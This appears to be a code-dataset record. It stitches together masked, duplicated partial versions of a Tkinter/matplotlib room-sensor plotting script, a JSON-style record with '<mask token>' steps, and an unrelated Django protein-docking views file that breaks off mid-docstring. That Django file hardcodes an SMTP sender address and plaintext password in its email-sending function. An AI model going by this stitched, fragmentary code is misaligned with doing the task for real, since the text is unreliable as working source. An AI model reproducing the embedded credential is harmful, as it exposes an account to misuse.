a.plot(fds, light, 'g.--')
a.set_ylabel('Ambient Light', color='g')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='g')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('g')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('g')
toolbar.update()
f.canvas.draw()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def show_temp():
a.clear()
a.plot(fds, temperature, 'r.--')
a.set_ylabel('Temperature (Degrees Celsius)', color='r')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='r')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('r')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('r')
toolbar.update()
f.canvas.draw()
def show_humidity():
a.clear()
a.plot(fds, humidity, 'b.--')
a.set_ylabel('Humidity %', color='b')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='blue')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('b')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('b')
toolbar.update()
f.canvas.draw()
def show_light():
a.clear()
a.plot(fds, light, 'g.--')
a.set_ylabel('Ambient Light', color='g')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='g')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('g')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('g')
toolbar.update()
f.canvas.draw()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
matplotlib.use('TkAgg')
<|reserved_special_token_0|>
data = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#')
temperature = data[7]
humidity = data[6]
light = data[8]
timer = data[9]
year, month, day, hour, minute, second = data[0], data[1], data[2], data[3
], data[4], data[5]
date_times = []
for i in range(len(year)):
date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])).
zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill(
2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i]))
.zfill(2))
pattern = '%d.%m.%Y %H:%M:%S'
epoch = []
for datetimes in date_times:
epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))
dts = map(datetime.datetime.fromtimestamp, epoch)
fds = dates.date2num(dts)
hfmt = dates.DateFormatter('%m/%d %H:%M')
master = Tk()
master.title('Room Sensor')
master.geometry('1200x600')
f = Figure(figsize=(9, 5), dpi=100)
f.zorder
a = f.add_subplot(111)
dataPlot = FigureCanvasTkAgg(f, master)
dataPlot.draw()
dataPlot.get_tk_widget().place(x=240, y=40)
toolbar = NavigationToolbar2TkAgg(dataPlot, master)
toolbar.update()
toolbar.place(x=240, y=560)
def show_temp():
a.clear()
a.plot(fds, temperature, 'r.--')
a.set_ylabel('Temperature (Degrees Celsius)', color='r')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='r')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('r')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('r')
toolbar.update()
f.canvas.draw()
def show_humidity():
a.clear()
a.plot(fds, humidity, 'b.--')
a.set_ylabel('Humidity %', color='b')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='blue')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('b')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('b')
toolbar.update()
f.canvas.draw()
def show_light():
a.clear()
a.plot(fds, light, 'g.--')
a.set_ylabel('Ambient Light', color='g')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='g')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('g')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('g')
toolbar.update()
f.canvas.draw()
tempButton = PhotoImage(file='images/temp_button.gif')
hmdButton = PhotoImage(file='images/hmd_button.gif')
lightButton = PhotoImage(file='images/light_button.gif')
tempIcon = PhotoImage(file='images/temp_icon.gif')
hmdIcon = PhotoImage(file='images/hmd_icon.gif')
lightIcon = PhotoImage(file='images/light_icon.gif')
Button1 = Button(master, image=tempButton, command=show_temp, height=50,
width=109)
Button2 = Button(master, image=hmdButton, command=show_humidity, height=50,
width=109)
Button3 = Button(master, image=lightButton, command=show_light, height=50,
width=109)
Label1 = Label(master, image=tempIcon, height=50, width=50)
Label2 = Label(master, image=hmdIcon, height=50, width=50)
Label3 = Label(master, image=lightIcon, height=50, width=50)
Button1.place(x=60, y=110)
Button2.place(x=60, y=260)
Button3.place(x=60, y=410)
Label1.place(x=180, y=111)
Label2.place(x=180, y=261)
Label3.place(x=180, y=411)
show_temp()
master.mainloop()
<|reserved_special_token_1|>
import matplotlib, sys, datetime, time
matplotlib.use('TkAgg')
from math import *
from numpy import *
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg
from matplotlib.figure import Figure
from matplotlib import dates
import matplotlib.pyplot as plt
from Tkinter import *
data = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#')
temperature = data[7]
humidity = data[6]
light = data[8]
timer = data[9]
year, month, day, hour, minute, second = data[0], data[1], data[2], data[3
], data[4], data[5]
date_times = []
for i in range(len(year)):
date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])).
zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill(
2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i]))
.zfill(2))
pattern = '%d.%m.%Y %H:%M:%S'
epoch = []
for datetimes in date_times:
epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))
dts = map(datetime.datetime.fromtimestamp, epoch)
fds = dates.date2num(dts)
hfmt = dates.DateFormatter('%m/%d %H:%M')
master = Tk()
master.title('Room Sensor')
master.geometry('1200x600')
f = Figure(figsize=(9, 5), dpi=100)
f.zorder
a = f.add_subplot(111)
dataPlot = FigureCanvasTkAgg(f, master)
dataPlot.draw()
dataPlot.get_tk_widget().place(x=240, y=40)
toolbar = NavigationToolbar2TkAgg(dataPlot, master)
toolbar.update()
toolbar.place(x=240, y=560)
def show_temp():
a.clear()
a.plot(fds, temperature, 'r.--')
a.set_ylabel('Temperature (Degrees Celsius)', color='r')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='r')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('r')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('r')
toolbar.update()
f.canvas.draw()
def show_humidity():
a.clear()
a.plot(fds, humidity, 'b.--')
a.set_ylabel('Humidity %', color='b')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='blue')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('b')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('b')
toolbar.update()
f.canvas.draw()
def show_light():
a.clear()
a.plot(fds, light, 'g.--')
a.set_ylabel('Ambient Light', color='g')
a.xaxis.set_major_formatter(hfmt)
a.grid(color='g')
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color('g')
for tick in a.yaxis.get_major_ticks():
tick.label.set_color('g')
toolbar.update()
f.canvas.draw()
tempButton = PhotoImage(file='images/temp_button.gif')
hmdButton = PhotoImage(file='images/hmd_button.gif')
lightButton = PhotoImage(file='images/light_button.gif')
tempIcon = PhotoImage(file='images/temp_icon.gif')
hmdIcon = PhotoImage(file='images/hmd_icon.gif')
lightIcon = PhotoImage(file='images/light_icon.gif')
Button1 = Button(master, image=tempButton, command=show_temp, height=50,
width=109)
Button2 = Button(master, image=hmdButton, command=show_humidity, height=50,
width=109)
Button3 = Button(master, image=lightButton, command=show_light, height=50,
width=109)
Label1 = Label(master, image=tempIcon, height=50, width=50)
Label2 = Label(master, image=hmdIcon, height=50, width=50)
Label3 = Label(master, image=lightIcon, height=50, width=50)
Button1.place(x=60, y=110)
Button2.place(x=60, y=260)
Button3.place(x=60, y=410)
Label1.place(x=180, y=111)
Label2.place(x=180, y=261)
Label3.place(x=180, y=411)
show_temp()
master.mainloop()
<|reserved_special_token_1|>
## Import modules
import matplotlib, sys, datetime, time
matplotlib.use('TkAgg')
from math import *
from numpy import *
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg
from matplotlib.figure import Figure
from matplotlib import dates
import matplotlib.pyplot as plt
from Tkinter import *
## Load the data
data = loadtxt("data/data011c.txt", unpack = True, skiprows=1, comments = '#')
temperature = data[7]
humidity = data[6]
light = data[8]
timer = data[9]
year, month, day, hour, minute, second = data[0], data[1], data[2], data[3], data[4], data[5]
## Make empty are to append the formatted dates
date_times = []
## Format the dates to dd.mm.yyyy hh:mm:ss
for i in range(len(year)): # can be the length of any arbitrary data set
# this makes a nice long string of the "day.month.year hour:min:sec"
date_times.append(str(int(day[i])).zfill(2) + "." + str(int(month[i])).zfill(2) + "." + str(int(year[i])) +
" " + str(int(hour[i])).zfill(2) + ":" + str(int(minute[i])).zfill(2) + ":" + str(int(second[i])).zfill(2) )
## String format of the date
pattern = '%d.%m.%Y %H:%M:%S'
## Convert the list of date_times to epoch time in seconds
epoch = []
for datetimes in date_times:
epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))
## Convert epoch time to list of dateformatter objects
dts = map(datetime.datetime.fromtimestamp, epoch)
fds = dates.date2num(dts)
hfmt = dates.DateFormatter('%m/%d %H:%M')
## Create interface object
master = Tk()
## Set the title and size
master.title("Room Sensor")
master.geometry("1200x600")
## Create figure to add onto interface window
f = Figure(figsize=(9,5), dpi=100,)# facecolor='black')
## Not sure what zorder does
f.zorder
## within the figure create subplot called a
a = f.add_subplot(111)
## Add figure onto interface window
dataPlot = FigureCanvasTkAgg(f, master)
dataPlot.draw()
## Turn figure into a widget
dataPlot.get_tk_widget().place(x = 240, y = 40)
## Add plot toolbar widget
toolbar = NavigationToolbar2TkAgg(dataPlot, master)
toolbar.update()
toolbar.place(x = 240, y = 560)
## Functions to switch between plots
def show_temp():
## Clear the figure
a.clear()
## Plot the temperature
## a.plot(timer,temperature, "r.--")
a.plot(fds,temperature, "r.--")
a.set_ylabel("Temperature (Degrees Celsius)", color = "r")
a.xaxis.set_major_formatter(hfmt)
a.grid(color = "r")
## a.set_ylim([20.0,30.0])
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color("r")
for tick in a.yaxis.get_major_ticks():
tick.label.set_color("r")
## Reset the toolbar
toolbar.update()
f.canvas.draw()
def show_humidity():
a.clear()
a.plot(fds,humidity, "b.--")
a.set_ylabel("Humidity %", color = "b")
a.xaxis.set_major_formatter(hfmt)
a.grid(color = "blue")
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color("b")
for tick in a.yaxis.get_major_ticks():
tick.label.set_color("b")
toolbar.update()
f.canvas.draw()
def show_light():
a.clear()
a.plot(fds,light, "g.--")
a.set_ylabel("Ambient Light", color = "g")
a.xaxis.set_major_formatter(hfmt)
a.grid(color = "g")
for tick in a.xaxis.get_major_ticks():
tick.label.set_fontsize(7)
tick.label.set_rotation(15)
tick.label.set_color("g")
for tick in a.yaxis.get_major_ticks():
tick.label.set_color("g")
toolbar.update()
f.canvas.draw()
## Load icon and button images
tempButton = PhotoImage(file="images/temp_button.gif")
hmdButton = PhotoImage(file="images/hmd_button.gif")
lightButton = PhotoImage(file="images/light_button.gif")
tempIcon = PhotoImage(file="images/temp_icon.gif")
hmdIcon = PhotoImage(file="images/hmd_icon.gif")
lightIcon = PhotoImage(file="images/light_icon.gif")
## Create button widgets
Button1 = Button(master, image = tempButton, command = show_temp, height = 50, width = 109)
Button2 = Button(master, image = hmdButton, command = show_humidity, height = 50, width = 109)
Button3 = Button(master, image = lightButton, command = show_light, height = 50, width = 109)
## Create labels
Label1 = Label(master, image = tempIcon, height = 50, width = 50)
Label2 = Label(master, image = hmdIcon, height = 50, width = 50)
Label3 = Label(master, image = lightIcon, height = 50, width = 50)
## Place the buttons and labels to specific location
Button1.place(x=60,y=110)
Button2.place(x=60,y=260)
Button3.place(x=60,y=410)
Label1.place(x=180, y=111)
Label2.place(x=180, y=261)
Label3.place(x=180, y=411)
## Start with the temperature graph showing
show_temp()
## Run the main interface loop
master.mainloop()
|
flexible
|
{
"blob_id": "2de12085ddc73fed85dda8ce3d6908b42fdc4bcc",
"index": 3046,
"step-1": "<mask token>\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef show_temp():\n a.clear()\n a.plot(fds, temperature, 'r.--')\n a.set_ylabel('Temperature (Degrees Celsius)', color='r')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='r')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('r')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('r')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\n<mask token>\n",
"step-3": "<mask token>\nmatplotlib.use('TkAgg')\n<mask token>\ndata = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#')\ntemperature = data[7]\nhumidity = data[6]\nlight = data[8]\ntimer = data[9]\nyear, month, day, hour, minute, second = data[0], data[1], data[2], data[3\n ], data[4], data[5]\ndate_times = []\nfor i in range(len(year)):\n date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])).\n zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill(\n 2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i]))\n .zfill(2))\npattern = '%d.%m.%Y %H:%M:%S'\nepoch = []\nfor datetimes in date_times:\n epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))\ndts = map(datetime.datetime.fromtimestamp, epoch)\nfds = dates.date2num(dts)\nhfmt = dates.DateFormatter('%m/%d %H:%M')\nmaster = Tk()\nmaster.title('Room Sensor')\nmaster.geometry('1200x600')\nf = Figure(figsize=(9, 5), dpi=100)\nf.zorder\na = f.add_subplot(111)\ndataPlot = FigureCanvasTkAgg(f, master)\ndataPlot.draw()\ndataPlot.get_tk_widget().place(x=240, y=40)\ntoolbar = NavigationToolbar2TkAgg(dataPlot, master)\ntoolbar.update()\ntoolbar.place(x=240, y=560)\n\n\ndef show_temp():\n a.clear()\n a.plot(fds, temperature, 'r.--')\n a.set_ylabel('Temperature (Degrees Celsius)', color='r')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='r')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('r')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('r')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\ntempButton = PhotoImage(file='images/temp_button.gif')\nhmdButton = PhotoImage(file='images/hmd_button.gif')\nlightButton = PhotoImage(file='images/light_button.gif')\ntempIcon = PhotoImage(file='images/temp_icon.gif')\nhmdIcon = PhotoImage(file='images/hmd_icon.gif')\nlightIcon = PhotoImage(file='images/light_icon.gif')\nButton1 = Button(master, image=tempButton, command=show_temp, height=50,\n width=109)\nButton2 = Button(master, image=hmdButton, command=show_humidity, height=50,\n width=109)\nButton3 = Button(master, image=lightButton, command=show_light, height=50,\n width=109)\nLabel1 = Label(master, image=tempIcon, height=50, width=50)\nLabel2 = Label(master, image=hmdIcon, height=50, width=50)\nLabel3 = Label(master, image=lightIcon, height=50, width=50)\nButton1.place(x=60, y=110)\nButton2.place(x=60, y=260)\nButton3.place(x=60, y=410)\nLabel1.place(x=180, y=111)\nLabel2.place(x=180, y=261)\nLabel3.place(x=180, y=411)\nshow_temp()\nmaster.mainloop()\n",
"step-4": "import matplotlib, sys, datetime, time\nmatplotlib.use('TkAgg')\nfrom math import *\nfrom numpy import *\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\nfrom matplotlib import dates\nimport matplotlib.pyplot as plt\nfrom Tkinter import *\ndata = loadtxt('data/data011c.txt', unpack=True, skiprows=1, comments='#')\ntemperature = data[7]\nhumidity = data[6]\nlight = data[8]\ntimer = data[9]\nyear, month, day, hour, minute, second = data[0], data[1], data[2], data[3\n ], data[4], data[5]\ndate_times = []\nfor i in range(len(year)):\n date_times.append(str(int(day[i])).zfill(2) + '.' + str(int(month[i])).\n zfill(2) + '.' + str(int(year[i])) + ' ' + str(int(hour[i])).zfill(\n 2) + ':' + str(int(minute[i])).zfill(2) + ':' + str(int(second[i]))\n .zfill(2))\npattern = '%d.%m.%Y %H:%M:%S'\nepoch = []\nfor datetimes in date_times:\n epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))\ndts = map(datetime.datetime.fromtimestamp, epoch)\nfds = dates.date2num(dts)\nhfmt = dates.DateFormatter('%m/%d %H:%M')\nmaster = Tk()\nmaster.title('Room Sensor')\nmaster.geometry('1200x600')\nf = Figure(figsize=(9, 5), dpi=100)\nf.zorder\na = f.add_subplot(111)\ndataPlot = FigureCanvasTkAgg(f, master)\ndataPlot.draw()\ndataPlot.get_tk_widget().place(x=240, y=40)\ntoolbar = NavigationToolbar2TkAgg(dataPlot, master)\ntoolbar.update()\ntoolbar.place(x=240, y=560)\n\n\ndef show_temp():\n a.clear()\n a.plot(fds, temperature, 'r.--')\n a.set_ylabel('Temperature (Degrees Celsius)', color='r')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='r')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('r')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('r')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_humidity():\n a.clear()\n a.plot(fds, humidity, 'b.--')\n a.set_ylabel('Humidity %', color='b')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='blue')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('b')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('b')\n toolbar.update()\n f.canvas.draw()\n\n\ndef show_light():\n a.clear()\n a.plot(fds, light, 'g.--')\n a.set_ylabel('Ambient Light', color='g')\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color='g')\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7)\n tick.label.set_rotation(15)\n tick.label.set_color('g')\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color('g')\n toolbar.update()\n f.canvas.draw()\n\n\ntempButton = PhotoImage(file='images/temp_button.gif')\nhmdButton = PhotoImage(file='images/hmd_button.gif')\nlightButton = PhotoImage(file='images/light_button.gif')\ntempIcon = PhotoImage(file='images/temp_icon.gif')\nhmdIcon = PhotoImage(file='images/hmd_icon.gif')\nlightIcon = PhotoImage(file='images/light_icon.gif')\nButton1 = Button(master, image=tempButton, command=show_temp, height=50,\n width=109)\nButton2 = Button(master, image=hmdButton, command=show_humidity, height=50,\n width=109)\nButton3 = Button(master, image=lightButton, command=show_light, height=50,\n width=109)\nLabel1 = Label(master, image=tempIcon, height=50, width=50)\nLabel2 = Label(master, image=hmdIcon, height=50, width=50)\nLabel3 = Label(master, image=lightIcon, height=50, width=50)\nButton1.place(x=60, y=110)\nButton2.place(x=60, y=260)\nButton3.place(x=60, y=410)\nLabel1.place(x=180, y=111)\nLabel2.place(x=180, y=261)\nLabel3.place(x=180, y=411)\nshow_temp()\nmaster.mainloop()\n",
"step-5": "## Import modules\nimport matplotlib, sys, datetime, time\nmatplotlib.use('TkAgg')\nfrom math import *\nfrom numpy import *\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\nfrom matplotlib.figure import Figure\nfrom matplotlib import dates\nimport matplotlib.pyplot as plt\nfrom Tkinter import *\n\n## Load the data\ndata = loadtxt(\"data/data011c.txt\", unpack = True, skiprows=1, comments = '#')\ntemperature = data[7]\nhumidity = data[6]\nlight = data[8]\ntimer = data[9]\nyear, month, day, hour, minute, second = data[0], data[1], data[2], data[3], data[4], data[5]\n\n## Make empty are to append the formatted dates\ndate_times = [] \n\n## Format the dates to dd.mm.yyyy hh:mm:ss\nfor i in range(len(year)): # can be the length of any arbitrary data set\n # this makes a nice long string of the \"day.month.year hour:min:sec\"\n date_times.append(str(int(day[i])).zfill(2) + \".\" + str(int(month[i])).zfill(2) + \".\" + str(int(year[i])) +\n \" \" + str(int(hour[i])).zfill(2) + \":\" + str(int(minute[i])).zfill(2) + \":\" + str(int(second[i])).zfill(2) )\n\n## String format of the date\npattern = '%d.%m.%Y %H:%M:%S'\n\n## Convert the list of date_times to epoch time in seconds\nepoch = []\nfor datetimes in date_times:\n epoch.append(int(time.mktime(time.strptime(datetimes, pattern))))\n\n## Convert epoch time to list of dateformatter objects\ndts = map(datetime.datetime.fromtimestamp, epoch)\nfds = dates.date2num(dts)\nhfmt = dates.DateFormatter('%m/%d %H:%M')\n\n## Create interface object\nmaster = Tk()\n## Set the title and size\nmaster.title(\"Room Sensor\")\nmaster.geometry(\"1200x600\")\n\n## Create figure to add onto interface window\nf = Figure(figsize=(9,5), dpi=100,)# facecolor='black')\n## Not sure what zorder does\nf.zorder\n## within the figure create subplot called a\na = f.add_subplot(111)\n\n## Add figure onto interface window\ndataPlot = FigureCanvasTkAgg(f, master)\ndataPlot.draw()\n## Turn figure into a widget\ndataPlot.get_tk_widget().place(x = 240, y = 40)\n## Add plot toolbar widget\ntoolbar = NavigationToolbar2TkAgg(dataPlot, master)\ntoolbar.update()\ntoolbar.place(x = 240, y = 560)\n\n## Functions to switch between plots \n\ndef show_temp():\n ## Clear the figure\n a.clear()\n ## Plot the temperature\n## a.plot(timer,temperature, \"r.--\")\n a.plot(fds,temperature, \"r.--\")\n a.set_ylabel(\"Temperature (Degrees Celsius)\", color = \"r\")\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color = \"r\")\n## a.set_ylim([20.0,30.0])\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7) \n tick.label.set_rotation(15)\n tick.label.set_color(\"r\")\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color(\"r\")\n ## Reset the toolbar\n toolbar.update()\n f.canvas.draw()\n \ndef show_humidity():\n a.clear()\n a.plot(fds,humidity, \"b.--\")\n a.set_ylabel(\"Humidity %\", color = \"b\")\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color = \"blue\")\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7) \n tick.label.set_rotation(15)\n tick.label.set_color(\"b\")\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color(\"b\")\n toolbar.update()\n f.canvas.draw()\n \ndef show_light():\n a.clear()\n a.plot(fds,light, \"g.--\")\n a.set_ylabel(\"Ambient Light\", color = \"g\")\n a.xaxis.set_major_formatter(hfmt)\n a.grid(color = \"g\")\n for tick in a.xaxis.get_major_ticks():\n tick.label.set_fontsize(7) \n tick.label.set_rotation(15)\n tick.label.set_color(\"g\")\n for tick in a.yaxis.get_major_ticks():\n tick.label.set_color(\"g\")\n toolbar.update()\n f.canvas.draw()\n\n## Load icon and button images\ntempButton = PhotoImage(file=\"images/temp_button.gif\")\nhmdButton = PhotoImage(file=\"images/hmd_button.gif\")\nlightButton = PhotoImage(file=\"images/light_button.gif\")\ntempIcon = PhotoImage(file=\"images/temp_icon.gif\")\nhmdIcon = PhotoImage(file=\"images/hmd_icon.gif\")\nlightIcon = PhotoImage(file=\"images/light_icon.gif\")\n\n## Create button widgets\nButton1 = Button(master, image = tempButton, command = show_temp, height = 50, width = 109)\nButton2 = Button(master, image = hmdButton, command = show_humidity, height = 50, width = 109)\nButton3 = Button(master, image = lightButton, command = show_light, height = 50, width = 109)\n## Create labels\nLabel1 = Label(master, image = tempIcon, height = 50, width = 50)\nLabel2 = Label(master, image = hmdIcon, height = 50, width = 50)\nLabel3 = Label(master, image = lightIcon, height = 50, width = 50)\n## Place the buttons and labels to specific location\nButton1.place(x=60,y=110)\nButton2.place(x=60,y=260)\nButton3.place(x=60,y=410)\nLabel1.place(x=180, y=111)\nLabel2.place(x=180, y=261)\nLabel3.place(x=180, y=411)\n## Start with the temperature graph showing\nshow_temp()\n## Run the main interface loop\nmaster.mainloop()\n",
"step-ids": [
2,
3,
5,
6,
7
]
}
|
[
2,
3,
5,
6,
7
] |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from dynamic_rest import viewsets
from django.shortcuts import render
import os
from rest_framework import permissions
from rest_framework.response import Response
from rest_framework.permissions import AllowAny
from rest_framework.decorators import api_view, permission_classes, detail_route, list_route
from rest_framework import mixins
from rdkit import Chem
import random
from Bio.PDB.PDBParser import PDBParser
import time
from Bio.PDB.PDBIO import PDBIO
import residues_scanning_command
import prep_dock
import threading
from rosetta_workflow_all_scripts import rosetta_protein_prep, get_cst_file, change_pos, design_analysis
import rosetta_workflow_all_scripts
from django.utils.datastructures import MultiValueDictKeyError
import multiprocessing as mul
import time
from models import SubmitParamter, Onlinedock
from django.core.files import File
from email.mime.text import MIMEText
from email.header import Header
from smtplib import SMTP_SSL
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.base import MIMEBase
from dynamic_rest import viewsets
import serializers
from rest_framework.parsers import JSONParser
from polls.serializers import SubmitParamsSerializer, OnlinedockSerializer
from django.http import JsonResponse
import zipfile
import tempfile
def send_file_zipped(the_file, recipients, email_content, sender='[email protected]'):
zf = tempfile.TemporaryFile(prefix='mail', suffix='zip')
zip = zipfile.ZipFile(zf, 'w')
zip.write(the_file)
zip.close()
zf.seek(0)
### Create the message
themsg = MIMEMultipart()
themsg['Subject'] = 'File %s' % the_file
themsg['To'] = ', '.join(recipients)
themsg['From'] = sender
themsg.attach(MIMEText(email_content, 'html', 'utf-8'))
themsg.preamble = 'I am not using a MIME-aware mail reader.\n'
msg = MIMEBase('application', 'zip')
msg.set_payload(zf.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment', filename=the_file)
themsg.attach(msg)
themsg = themsg.as_string()
### Send the message
import smtplib
host_server = 'smtp.qq.com'
sender_mail_addr = '[email protected]'
pwd = 'utxfxpzcpsnzbbcc'
smtp = SMTP_SSL(host_server)
smtp.set_debuglevel(1)
smtp.ehlo(host_server)
smtp.login(sender_mail_addr, pwd)
smtp.sendmail(sender, recipients, themsg)
smtp.quit()
# smtp = smtplib.SMTP()
# smtp.connect()
# smtp.sendmail(sender, recipients, themsg)
# smtp.close()
def get_pov_value(file):
f = open(file)
lines = f.readlines()
f.close()
for line in lines:
if line.startswith('1'):
value = float(line.split('|')[1].strip())
return value
def main(job_name, mutation_radius, pov_radius, pH, mutation_info_list, protein, ligand_name, ligand_resseq, chain_id, email_addr):
"""
:param job_name:
:param mutation_radius:
